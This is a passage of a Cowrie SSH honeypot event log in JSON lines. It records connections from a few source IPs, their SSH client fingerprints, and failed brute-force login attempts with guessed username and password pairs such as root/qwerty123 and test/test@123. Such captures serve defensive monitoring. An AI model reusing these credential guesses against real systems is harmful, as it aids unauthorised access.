CS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:49.316938Z","src_ip":"192.109.200.237","session":"985b2afec3e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:49.560446Z","src_ip":"192.109.200.237","session":"985b2afec3e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:50.645691Z","src_ip":"192.109.200.237","session":"985b2afec3e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":51714,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b8b08be63e","protocol":"ssh","message":"New connection: 109.172.54.111:51714 (10.17.0.5:22) [session: c3b8b08be63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:51.999054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:52.043492Z","src_ip":"109.172.54.111","session":"c3b8b08be63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:52.105904Z","src_ip":"109.172.54.111","session":"c3b8b08be63e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dinara","message":"login attempt [root/dinara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:52.480598Z","src_ip":"109.172.54.111","session":"c3b8b08be63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49138,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8c7ea023e3b","protocol":"ssh","message":"New connection: 192.109.200.237:49138 (159.203.135.109:22) [session: b8c7ea023e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:52.771566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:52.775711Z","src_ip":"192.109.200.237","session":"b8c7ea023e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:52.859988Z","src_ip":"192.109.200.237","session":"b8c7ea023e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:53.105467Z","src_ip":"192.109.200.237","session":"b8c7ea023e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:53.579622Z","src_ip":"109.172.54.111","session":"c3b8b08be63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:54.190205Z","src_ip":"192.109.200.237","session":"b8c7ea023e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.31244730949402,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:55.184579Z","src_ip":"50.6.8.71","session":"1e9514fca5a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49144,"dst_ip":"159.203.135.109","dst_port":22,"session":"00d1a931a4d4","protocol":"ssh","message":"New connection: 192.109.200.237:49144 (159.203.135.109:22) [session: 00d1a931a4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:56.163869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:56.168479Z","src_ip":"192.109.200.237","session":"00d1a931a4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:56.250011Z","src_ip":"192.109.200.237","session":"00d1a931a4d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:56.494322Z","src_ip":"192.109.200.237","session":"00d1a931a4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:57.665567Z","src_ip":"192.109.200.237","session":"00d1a931a4d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49146,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae04a10b8d56","protocol":"ssh","message":"New connection: 192.109.200.237:49146 (159.203.135.109:22) [session: ae04a10b8d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:59.635861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:59.640252Z","src_ip":"192.109.200.237","session":"ae04a10b8d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:59.722494Z","src_ip":"192.109.200.237","session":"ae04a10b8d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:59.968836Z","src_ip":"192.109.200.237","session":"ae04a10b8d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:01.054545Z","src_ip":"192.109.200.237","session":"ae04a10b8d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33174,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13f72dcfbd8","protocol":"ssh","message":"New connection: 192.109.200.237:33174 (159.203.135.109:22) [session: b13f72dcfbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:03.309057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:03.314158Z","src_ip":"192.109.200.237","session":"b13f72dcfbd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:03.396695Z","src_ip":"192.109.200.237","session":"b13f72dcfbd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:03.645154Z","src_ip":"192.109.200.237","session":"b13f72dcfbd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:04.730436Z","src_ip":"192.109.200.237","session":"b13f72dcfbd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33188,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2656ac6a7b0","protocol":"ssh","message":"New connection: 192.109.200.237:33188 (159.203.135.109:22) [session: a2656ac6a7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:06.770711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:06.779921Z","src_ip":"192.109.200.237","session":"a2656ac6a7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:06.863798Z","src_ip":"192.109.200.237","session":"a2656ac6a7b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:07.115613Z","src_ip":"192.109.200.237","session":"a2656ac6a7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:08.203162Z","src_ip":"192.109.200.237","session":"a2656ac6a7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56620,"dst_ip":"159.203.135.109","dst_port":22,"session":"5336654fd68d","protocol":"ssh","message":"New connection: 80.94.92.184:56620 (159.203.135.109:22) [session: 5336654fd68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:08.812489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:09.002410Z","src_ip":"80.94.92.184","session":"5336654fd68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:09.006234Z","src_ip":"80.94.92.184","session":"5336654fd68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:09.986348Z","src_ip":"80.94.92.184","session":"5336654fd68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53882,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec833bf5b4c","protocol":"ssh","message":"New connection: 192.109.200.237:53882 (159.203.135.109:22) [session: 0ec833bf5b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:10.353461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:10.460083Z","src_ip":"192.109.200.237","session":"0ec833bf5b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:10.463841Z","src_ip":"192.109.200.237","session":"0ec833bf5b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:10.794128Z","src_ip":"192.109.200.237","session":"0ec833bf5b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:11.511673Z","src_ip":"80.94.92.184","session":"5336654fd68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:11.879298Z","src_ip":"192.109.200.237","session":"0ec833bf5b4c","protocol":"ssh"}
